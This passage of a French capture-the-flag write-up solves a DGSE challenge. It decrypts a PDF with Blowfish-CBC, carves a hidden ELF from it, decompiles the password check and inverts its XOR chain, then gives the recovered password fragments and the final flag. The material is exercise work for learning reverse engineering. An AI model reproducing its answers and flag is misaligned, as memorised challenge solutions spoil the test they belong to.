qui parle de crypto, visiblement de l'aes (taille de clef de 16) (je dirais CBC vu qu'on a un IV), reste a trouver le chiffré. ``` Ange Albertini key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' [3]4037402d4 ``` le chiffré est dans le PDF le hint : c'est un poisson glob , l'embleme de **openSSH** et **OpenBSD* Ou tout simplement l'algo Blowfish en crypto Dans les commentaire de l'image on vois écrit **Ange Albertini** c'est bien un blowfish-cbc a utiliser ``` from Crypto.Cipher import AES, DES3, Blowfish key=b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv=b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' blw = Blowfish.new(key, Blowfish.MODE_CBC, iv) f = open("message.pdf","rb").read() d = blw.encrypt(f) ``` ``` kali@kali:~/DGSE$ binwalk message.pdf_enc DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 72613 0x11BA5 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV) kali@kali:~/DGSE$ dd if=message.pdf_enc of=elf_polyglotte bs=1 skip=72613 kali@kali:~/DGSE$ chmod +x elf_polyglotte Operation Soleil Atomique Entrez le mot de passe : ``` on décompile avec ghidra : ``` undefined8 main(void) { size_t sVar1; byte *__dest; long in_FS_OFFSET; char local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Operation Soleil Atomique"); printf("Entrez le mot de passe : "); fgets(local_28,0x10,stdin); sVar1 = strlen(local_28); __dest = (byte *)malloc(sVar1 + 1); strcpy((char *)__dest,local_28); checkpassword(__dest); if (((((((__dest[1] ^ *__dest) == 0x69) && ((__dest[2] ^ __dest[1]) == 0x6f)) && ((__dest[3] ^ __dest[2]) == 0x38)) && (((__dest[4] ^ __dest[3]) == 0x56 && ((__dest[5] ^ __dest[4]) == 0x50)))) && (((__dest[6] ^ __dest[5]) == 0x57 && (((__dest[7] ^ __dest[6]) == 0x50 && ((__dest[8] ^ __dest[7]) == 0x56)))))) && (((__dest[9] ^ __dest[8]) == 6 && (__dest[9] == 0x34)))) { puts("Bravo"); /* WARNING: Subroutine does not return */ exit(0); } puts("Mauvais mot de passe"); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } ``` ``` a = [0x06,0x56,0x50,0x57,0x50,0x56,0x38,0x6f,0x69] b = [0x34,0,0,0,0,0,0,0,0,0] for i in range(9): b[i+1] = a[i]^b[i] t = "" for bb in b[::-1]: t = t +chr(bb) print(t) ``` ``` kali@kali:~/DGSE$ ./elf_polyglotte Operation Soleil Atomique Entrez le mot de passe : [2]e3c4d24 Bravo ``` pour le [1]: Il suffisait de convertir le pdf avec https://pdfextractor.com/ l'apperçus donne le flag ![](https://i.imgur.com/XMbBf9H.png) et dans le zip il y a un fichier texte avec le [1] On a donc : [0]aa938a16 [1]4d862d5a [2]e3c4d24 [3]4037402d4 flag : DGSESIEE{ae7bca8eaa938a16e3c4d244037402d4}